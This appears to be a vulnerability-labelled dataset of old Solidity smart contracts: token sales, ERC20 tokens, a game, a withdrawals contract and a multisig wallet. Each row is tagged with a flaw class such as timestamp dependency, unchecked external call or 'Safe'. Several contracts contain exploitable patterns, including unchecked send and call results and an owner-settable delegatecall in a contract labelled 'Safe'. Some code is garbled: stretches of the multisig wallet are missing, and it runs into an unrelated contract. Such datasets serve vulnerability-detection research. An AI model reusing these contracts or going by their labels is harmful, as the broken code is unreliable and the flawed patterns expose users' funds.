require(activated_ == false, ""FOMO Short already activated""); activated_ = true; rID_ = 1; round_[1].strt = now + rndExtra_ - rndGap_; round_[1].end = now + rndInit_ + rndExtra_; } } library F3Ddatasets { struct EventReturns { uint256 compressedData; uint256 compressedIDs; address winnerAddr; bytes32 winnerName; uint256 amountWon; uint256 newPot; uint256 P3DAmount; uint256 genAmount; uint256 potAmount; } struct Player { address addr; bytes32 name; uint256 win; uint256 gen; uint256 aff; uint256 lrnd; uint256 laff; } struct PlayerRounds { uint256 eth; uint256 keys; uint256 mask; uint256 ico; } struct Round { uint256 plyr; uint256 team; uint256 end; bool ended; uint256 strt; uint256 keys; uint256 eth; uint256 pot; uint256 mask; uint256 ico; uint256 icoGen; uint256 icoAvg; } struct TeamFee { uint256 gen; uint256 p3d; } struct PotSplit { uint256 gen; uint256 p3d; } } library F3DKeysCalcShort { using SafeMath for *; function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000); } function eth(uint256 _keys) internal pure returns(uint256) { return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } } interface PlayerBookInterface { function getPlayerID(address _addr) external returns (uint256); function getPlayerName(uint256 _pID) external view returns (bytes32); function getPlayerLAff(uint256 _pID) external view returns (uint256); function getPlayerAddr(uint256 _pID) external view returns (address); function getNameFee() external view returns (uint256); function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256); function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256); function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256); } library NameFilter { function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; require (_length <= 32 && _length > 0, ""string must be between 1 and 32 characters""); require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, ""string cannot start or end with space""); if (_temp[0] == 0x30) { require(_temp[1] != 0x78, ""string cannot start with 0x""); require(_temp[1] != 0x58, ""string cannot start with 0X""); } bool _hasNonNumber; for (uint256 i = 0; i < _length; i++) { if (_temp[i] > 0x40 && _temp[i] < 0x5b) { _temp[i] = byte(uint(_temp[i]) + 32); if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( _temp[i] == 0x20 || (_temp[i] > 0x60 && _temp[i] < 0x7b) || (_temp[i] > 0x2f && _temp[i] < 0x3a), ""string contains invalid characters"" ); if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, ""string cannot contain consecutive spaces""); if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, ""string cannot be only numbers""); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, ""SafeMath mul failed""); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, ""SafeMath sub failed""); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, ""SafeMath add failed""); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } }",./Dataset/block number dependency (BN),0,0 6933.sol,"pragma solidity ^0.4.11; contract Ownable { address public owner; function Ownable() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } contract Haltable is Ownable { bool public halted = false; modifier inNormalState { require(!halted); _; } modifier inEmergencyState { require(halted); _; } function halt() external onlyOwner inNormalState { halted = true; } function unhalt() external onlyOwner inEmergencyState { halted = false; } } library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) constant returns (uint256); function transfer(address to, uint256 value) returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; function transfer(address _to, uint256 _value) returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint256); function transferFrom(address from, address to, uint256 value) returns (bool); function approve(address spender, uint256 value) returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; function transferFrom(address _from, address _to, uint256 _value) returns (bool) { var _allowance = allowed[_from][msg.sender]; balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) returns (bool) { require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } contract Burnable is StandardToken { using SafeMath for uint; event Burn(address indexed from, uint value); function burn(uint _value) returns (bool success) { require(_value > 0 && balances[msg.sender] >= _value); balances[msg.sender] = balances[msg.sender].sub(_value); totalSupply = totalSupply.sub(_value); Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint _value) returns (bool success) { require(_from != 0x0 && _value > 0 && balances[_from] >= _value); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); totalSupply = totalSupply.sub(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Burn(_from, _value); return true; } function transfer(address _to, uint _value) returns (bool success) { require(_to != 0x0); return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint _value) returns (bool success) { require(_to != 0x0); return super.transferFrom(_from, _to, _value); } } contract ERC223ReceivingContract { function tokenFallback(address _from, uint _value, bytes _data); } contract AnythingAppToken is Burnable, Ownable { string public constant name = ""AnythingApp Token""; string public constant symbol = ""ANY""; uint8 public constant decimals = 18; uint public constant INITIAL_SUPPLY = 400000000 * 1 ether; address public releaseAgent; bool public released = false; mapping (address => bool) public transferAgents; event Transfer(address indexed from, address indexed to, uint value, bytes data); modifier canTransfer(address _sender) { require(released || transferAgents[_sender]); _; } modifier inReleaseState(bool releaseState) { require(releaseState == released); _; } modifier onlyReleaseAgent() { require(msg.sender == releaseAgent); _; } function AnythingAppToken() { totalSupply = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; Transfer(0x0, msg.sender, INITIAL_SUPPLY); } function setReleaseAgent(address addr) onlyOwner inReleaseState(false) public { require(addr != 0x0); releaseAgent = addr; } function release() onlyReleaseAgent inReleaseState(false) public { released = true; } function setTransferAgent(address addr, bool state) onlyOwner inReleaseState(false) public { require(addr != 0x0); transferAgents[addr] = state; } function transferFrom(address _from, address _to, uint _value) canTransfer(_from) returns (bool success) { return super.transferFrom(_from, _to, _value); } function transfer(address _to, uint _value, bytes _data) canTransfer(msg.sender) returns (bool success) { require(_to != address(0)); require(_value <= balances[msg.sender]); uint codeLength; assembly { codeLength := extcodesize(_to) } balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); if(codeLength>0) { ERC223ReceivingContract receiver = ERC223ReceivingContract(_to); receiver.tokenFallback(msg.sender, _value, _data); } Transfer(msg.sender, _to, _value, _data); return true; } function transfer(address _to, uint _value) canTransfer(msg.sender) returns (bool success) { require(_to != address(0)); require(_value <= balances[msg.sender]); uint codeLength; bytes memory empty; assembly { codeLength := extcodesize(_to) } balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); if(codeLength>0) { ERC223ReceivingContract receiver = ERC223ReceivingContract(_to); receiver.tokenFallback(msg.sender, _value, empty); } Transfer(msg.sender, _to, _value, empty); return true; } function burn(uint _value) onlyOwner returns (bool success) { return super.burn(_value); } function burnFrom(address _from, uint _value) onlyOwner returns (bool success) { return super.burnFrom(_from, _value); } } contract InvestorWhiteList is Ownable { mapping (address => bool) public investorWhiteList; mapping (address => address) public referralList; function InvestorWhiteList() { } function addInvestorToWhiteList(address investor) external onlyOwner { require(investor != 0x0 && !investorWhiteList[investor]); investorWhiteList[investor] = true; } function removeInvestorFromWhiteList(address investor) external onlyOwner { require(investor != 0x0 && investorWhiteList[investor]); investorWhiteList[investor] = false; } function addReferralOf(address investor, address referral) external onlyOwner { require(investor != 0x0 && referral != 0x0 && referralList[investor] == 0x0 && investor != referral); referralList[investor] = referral; } function isAllowed(address investor) constant external returns (bool result) { return investorWhiteList[investor]; } function getReferralOf(address investor) constant external returns (address result) { return referralList[investor]; } } contract PriceReceiver { address public ethPriceProvider; modifier onlyEthPriceProvider() { require(msg.sender == ethPriceProvider); _; } function receiveEthPrice(uint ethUsdPrice) external; function setEthPriceProvider(address provider) external; } contract AnythingAppTokenPreSale is Haltable, PriceReceiver { using SafeMath for uint; string public constant name = ""AnythingAppTokenPreSale""; AnythingAppToken public token; InvestorWhiteList public investorWhiteList; address public beneficiary; uint public tokenPriceUsd; uint public totalTokens; uint public ethUsdRate; uint public collected = 0; uint public withdrawn = 0; uint public tokensSold = 0; uint public investorCount = 0; uint public weiRefunded = 0; uint public startTime; uint public endTime; bool public crowdsaleFinished = false; mapping (address => bool) public refunded; mapping (address => uint) public deposited; uint public constant MINIMAL_PURCHASE = 250 ether; uint public constant LIMIT_PER_USER = 500000 ether; event NewContribution(address indexed holder, uint tokenAmount, uint etherAmount); event NewReferralTransfer(address indexed investor, address indexed referral, uint tokenAmount); event Refunded(address indexed holder, uint amount); event Deposited(address indexed holder, uint amount); modifier preSaleActive() { require(block.timestamp >= startTime && block.timestamp < endTime); _; } modifier preSaleEnded() { require(block.timestamp >= endTime); _; } function AnythingAppTokenPreSale( address _token, address _beneficiary, address _investorWhiteList, uint _totalTokens, uint _tokenPriceUsd, uint _baseEthUsdPrice, uint _startTime, uint _endTime ) { ethUsdRate = _baseEthUsdPrice; tokenPriceUsd = _tokenPriceUsd; totalTokens = _totalTokens.mul(1 ether); token = AnythingAppToken(_token); investorWhiteList = InvestorWhiteList(_investorWhiteList); beneficiary = _beneficiary; startTime = _startTime; endTime = _endTime; } function() payable { doPurchase(msg.sender); } function tokenFallback(address _from, uint _value, bytes _data) public pure { } function doPurchase(address _owner) private preSaleActive inNormalState { if (token.balanceOf(msg.sender) == 0) investorCount++; uint tokens = msg.value.mul(ethUsdRate).div(tokenPriceUsd); address referral = investorWhiteList.getReferralOf(msg.sender); uint referralBonus = calculateReferralBonus(tokens); uint newTokensSold = tokensSold.add(tokens); if (referralBonus > 0 && referral != 0x0) { newTokensSold = newTokensSold.add(referralBonus); } require(newTokensSold <= totalTokens); require(token.balanceOf(msg.sender).add(tokens) <= LIMIT_PER_USER); tokensSold = newTokensSold; collected = collected.add(msg.value); deposited[msg.sender] = deposited[msg.sender].add(msg.value); token.transfer(msg.sender, tokens); NewContribution(_owner, tokens, msg.value); if (referralBonus > 0 && referral != 0x0) { token.transfer(referral, referralBonus); NewReferralTransfer(msg.sender, referral, referralBonus); } } function calculateReferralBonus(uint _tokens) internal constant returns (uint _bonus) { return _tokens.mul(20).div(100); } function withdraw() external onlyOwner { uint toWithdraw = collected.sub(withdrawn); beneficiary.transfer(toWithdraw); withdrawn = withdrawn.add(toWithdraw); } function withdrawTokens() external onlyOwner { token.transfer(beneficiary, token.balanceOf(this)); } function receiveEthPrice(uint ethUsdPrice) external onlyEthPriceProvider { require(ethUsdPrice > 0); ethUsdRate = ethUsdPrice; } function setEthPriceProvider(address provider) external onlyOwner { require(provider != 0x0); ethPriceProvider = provider; } function setNewWhiteList(address newWhiteList) external onlyOwner { require(newWhiteList != 0x0); investorWhiteList = InvestorWhiteList(newWhiteList); } }",./Dataset/timestamp dependency (TP)/,6,6 43334.sol,"pragma solidity ^0.4.21; // File: zeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of ""user permissions"". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } // File: zeppelin-solidity/contracts/ownership/Claimable.sol /** * @title Claimable * @dev Extension for the Ownable contract, where the ownership needs to be claimed. * This allows the new owner to accept the transfer. */ contract Claimable is Ownable { address public pendingOwner; /** * @dev Modifier throws if called by any account other than the pendingOwner. */ modifier onlyPendingOwner() { require(msg.sender == pendingOwner); _; } /** * @dev Allows the current owner to set the pendingOwner address. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { pendingOwner = newOwner; } /** * @dev Allows the pendingOwner address to finalize the transfer. */ function claimOwnership() onlyPendingOwner public { OwnershipTransferred(owner, pendingOwner); owner = pendingOwner; pendingOwner = address(0); } } // File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: contracts/Withdrawals.sol contract Withdrawals is Claimable { /** * @dev responsible for calling withdraw function */ address public withdrawCreator; /** * @dev if it's token transfer the tokenAddress will be 0x0000... * @param _destination receiver of token or eth * @param _amount amount of ETH or Tokens * @param _tokenAddress actual token address or 0x000.. in case of eth transfer */ event AmountWithdrawEvent( address _destination, uint _amount, address _tokenAddress ); /** * @dev fallback function only to enable ETH transfer */ function() payable public { } /** * @dev setter for the withdraw creator (responsible for calling withdraw function) */ function setWithdrawCreator(address _withdrawCreator) public onlyOwner { withdrawCreator = _withdrawCreator; } /** * @dev withdraw function to send token addresses or eth amounts to a list of receivers * @param _destinations batch list of token or eth receivers * @param _amounts batch list of values of eth or tokens * @param _tokenAddresses what token to be transfered in case of eth just leave the 0x address */ function withdraw(address[] _destinations, uint[] _amounts, address[] _tokenAddresses) public onlyOwnerOrWithdrawCreator { require(_destinations.length == _amounts.length && _amounts.length == _tokenAddresses.length); // itterate in receivers for (uint i = 0; i < _destinations.length; i++) { address tokenAddress = _tokenAddresses[i]; uint amount = _amounts[i]; address destination = _destinations[i]; // eth transfer if (tokenAddress == address(0)) { if (this.balance < amount) { continue; } if (!destination.call.gas(70000).value(amount)()) { continue; } }else { // erc 20 transfer if (ERC20(tokenAddress).balanceOf(this) < amount) { continue; } ERC20(tokenAddress).transfer(destination, amount); } // emit event in both cases emit AmountWithdrawEvent(destination, amount, tokenAddress); } } modifier onlyOwnerOrWithdrawCreator() { require(msg.sender == withdrawCreator || msg.sender == owner); _; } }",./Dataset/unchecked external call (UC),7,7 0x0146baf3666f7cfc1292ec46e7248aff22b4b8de_Ohni.sol,"pragma solidity ^ 0.4 .2; contract owned { address public owner; function owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newAdmin) onlyOwner public { owner = newAdmin; } } contract tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract token { // Public variables of the token string public name; string public symbol; uint8 public decimals = 18; uint256 public totalSupply; // This creates an array with all balances mapping(address => uint256) public balanceOf; mapping(address => mapping(address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); function token( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes } //Transfer tokens function transfer(address _to, uint256 _value) { if (balanceOf[msg.sender] < _value) throw; // Check if the sender has enough if (balanceOf[_to] + _value < balanceOf[_to]) throw; // Check for overflows balanceOf[msg.sender] -= _value; // Subtract from the sender balanceOf[_to] += _value; // Add the same to the recipient Transfer(msg.sender, _to, _value); // Notify anyone listening that this transfer took place } //A contract attempts to get tokens function transferFrom(address _from, address _to, uint256 _value) returns(bool success) { if (balanceOf[_from] < _value) throw; // Check if the sender has enough if (balanceOf[_to] + _value < balanceOf[_to]) throw; // Check for overflows if (_value > allowance[_from][msg.sender]) throw; // Check allowance balanceOf[_from] -= _value; // Subtract from the sender balanceOf[_to] += _value; // Add the same to the recipient allowance[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } //Set allowance for another address function approve(address _spender, uint256 _value) public returns(bool success) { allowance[msg.sender][_spender] = _value; return true; } //Set allowance for another address and call a function function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns(bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } //Destroy tokens function burn(uint256 _value) public returns(bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply Burn(msg.sender, _value); return true; } //Destroy tokens from another account function burnFrom(address _from, uint256 _value) public returns(bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance totalSupply -= _value; // Update totalSupply Burn(_from, _value); return true; } } contract Ohni is owned, token { uint256 public sellPrice; uint256 public buyPrice; bool public deprecated; address public currentVersion; mapping(address => bool) public frozenAccount; /* This generates a public event on the blockchain that will notify clients */ event FrozenFunds(address target, bool frozen); /* Initializes contract with initial supply tokens to the creator of the contract */ function Ohni( uint256 initialSupply, string tokenName, uint8 decimalUnits, string tokenSymbol ) token(initialSupply, tokenName, tokenSymbol) {} function update(address newAddress, bool depr) onlyOwner { if (msg.sender != owner) throw; currentVersion = newAddress; deprecated = depr; } function checkForUpdates() private { if (deprecated) { if (!currentVersion.delegatecall(msg.data)) throw; } } function withdrawETH(uint256 amount) onlyOwner { msg.sender.send(amount); } function airdrop(address[] recipients, uint256 value) public onlyOwner { for (uint256 i = 0; i < recipients.length; i++) { transfer(recipients[i], value); } } /* Send coins */ function transfer(address _to, uint256 _value) { checkForUpdates(); if (balanceOf[msg.sender] < _value) throw; // Check if the sender has enough if (balanceOf[_to] + _value < balanceOf[_to]) throw; // Check for overflows if (frozenAccount[msg.sender]) throw; // Check if frozen balanceOf[msg.sender] -= _value; // Subtract from the sender balanceOf[_to] += _value; // Add the same to the recipient Transfer(msg.sender, _to, _value); // Notify anyone listening that this transfer took place } /* A contract attempts to get the coins */ function transferFrom(address _from, address _to, uint256 _value) returns(bool success) { checkForUpdates(); if (frozenAccount[_from]) throw; // Check if frozen if (balanceOf[_from] < _value) throw; // Check if the sender has enough if (balanceOf[_to] + _value < balanceOf[_to]) throw; // Check for overflows if (_value > allowance[_from][msg.sender]) throw; // Check allowance balanceOf[_from] -= _value; // Subtract from the sender balanceOf[_to] += _value; // Add the same to the recipient allowance[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } function merge(address target) onlyOwner { balanceOf[target] = token(address(0x7F2176cEB16dcb648dc924eff617c3dC2BEfd30d)).balanceOf(target) / 10; } function multiMerge(address[] recipients, uint256[] value) onlyOwner { for (uint256 i = 0; i < recipients.length; i++) { merge(recipients[i]); } } function mintToken(address target, uint256 mintedAmount) onlyOwner { checkForUpdates(); balanceOf[target] += mintedAmount; totalSupply += mintedAmount; Transfer(0, this, mintedAmount); Transfer(this, target, mintedAmount); } function freezeAccount(address target, bool freeze) onlyOwner { checkForUpdates(); frozenAccount[target] = freeze; FrozenFunds(target, freeze); } function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner { checkForUpdates(); sellPrice = newSellPrice; buyPrice = newBuyPrice; } function buy() payable { checkForUpdates(); if (buyPrice == 0) throw; uint amount = msg.value / buyPrice; // calculates the amount if (balanceOf[this] < amount) throw; // checks if it has enough to sell balanceOf[msg.sender] += amount; // adds the amount to buyer's balance balanceOf[this] -= amount; // subtracts amount from seller's balance Transfer(this, msg.sender, amount); // execute an event reflecting the change } function sell(uint256 amount) { checkForUpdates(); if (sellPrice == 0) throw; if (balanceOf[msg.sender] < amount) throw; // checks if the sender has enough to sell balanceOf[this] += amount; // adds the amount to owner's balance balanceOf[msg.sender] -= amount; // subtracts the amount from seller's balance if (!msg.sender.send(amount * sellPrice)) { // sends ether to the seller. It's important throw; // to do this last to avoid recursion attacks } else { Transfer(msg.sender, this, amount); // executes an event reflecting on the change } } }",Safe,8,8 32838.sol,"pragma solidity ^0.4.11; /// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution. /// @author Stefan George - <[email protected]> contract MultiSigWallet { uint constant public MAX_OWNER_COUNT = 50; event Confirmation(address indexed _sender, uint indexed _transactionId); event Revocation(address indexed _sender, uint indexed _transactionId); event Submission(uint indexed _transactionId); event Execution(uint indexed _transactionId); event ExecutionFailure(uint indexed _transactionId); event Deposit(address indexed _sender, uint _value); event OwnerAddition(address indexed _owner); event OwnerRemoval(address indexed _owner); event RequirementChange(uint _required); mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } modifier onlyWallet() { if (msg.sender != address(this)) throw; _; } modifier ownerDoesNotExist(address owner) { if (isOwner[owner]) throw; _; } modifier ownerExists(address owner) { if (!isOwner[owner]) throw; _; } modifier transactionExists(uint transactionId) { if (transactions[transactionId].destination == 0) throw; _; } modifier confirmed(uint transactionId, address owner) { if (!confirmations[transactionId][owner]) throw; _; } modifier notConfirmed(uint transactionId, address owner) { if (confirmations[transactionId][owner]) throw; _; } modifier notExecuted(uint transactionId) { if (transactions[transactionId].executed) throw; _; } modifier notNull(address _address) { if (_address == 0) throw; _; } modifier validRequirement(uint ownerCount, uint _required) { if ( ownerCount > MAX_OWNER_COUNT || _required > ownerCount || _required == 0 || ownerCount == 0) throw; _; } /// @dev Fallback function allows to deposit ether. function() payable { if (msg.value > 0) Deposit(msg.sender, msg.value); } /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. function MultiSigWallet(address[] _owners, uint _required) public validRequirement(_owners.length, _required) { for (uint i=0; i<_owners.length; i++) { if (isOwner[_owners[i]] || _owners[i] == 0) throw; isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i=0; i owners.length) changeRequirement(owners.length); OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param owner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i=0; i uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value > balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; assert(balanceOf[_from] + balanceOf[_to] == previousBalances); Transfer(_from, _to, _value); } function transfer(address _to, uint256 _value) public returns (bool success) { _transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } } contract CustomToken is BaseToken { function CustomToken() public { totalSupply = 10000000000000000000000000000; balanceOf[0xF588D792fA8a634162760482a7B61DD1AB99b1F1] = totalSupply; name = 'IoTeX'; symbol = 'IOTX'; decimals = 18; } }",Safe,8,8 0x03425fA34130C148Fe922Ff8880409C79410A879_MyAdvancedToken.sol,"pragma solidity ^0.4.16; contract owned { address public owner; function owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract TokenERC20 { // Public variables of the token string public name; string public symbol; uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ function TokenERC20( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes } function balanceOf(address _owner) public constant returns (uint256 balance) { return balanceOf[_owner]; } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowance[_owner][_spender]; } } /******************************************/ /* ADVANCED TOKEN STARTS HERE */ /******************************************/ contract MyAdvancedToken is owned, TokenERC20 { uint256 public sellPrice; uint256 public buyPrice; mapping (address => bool) public frozenAccount; /* This generates a public event on the blockchain that will notify clients */ event FrozenFunds(address target, bool frozen); /* Initializes contract with initial supply tokens to the creator of the contract */ function MyAdvancedToken( uint256 initialSupply, string tokenName, string tokenSymbol 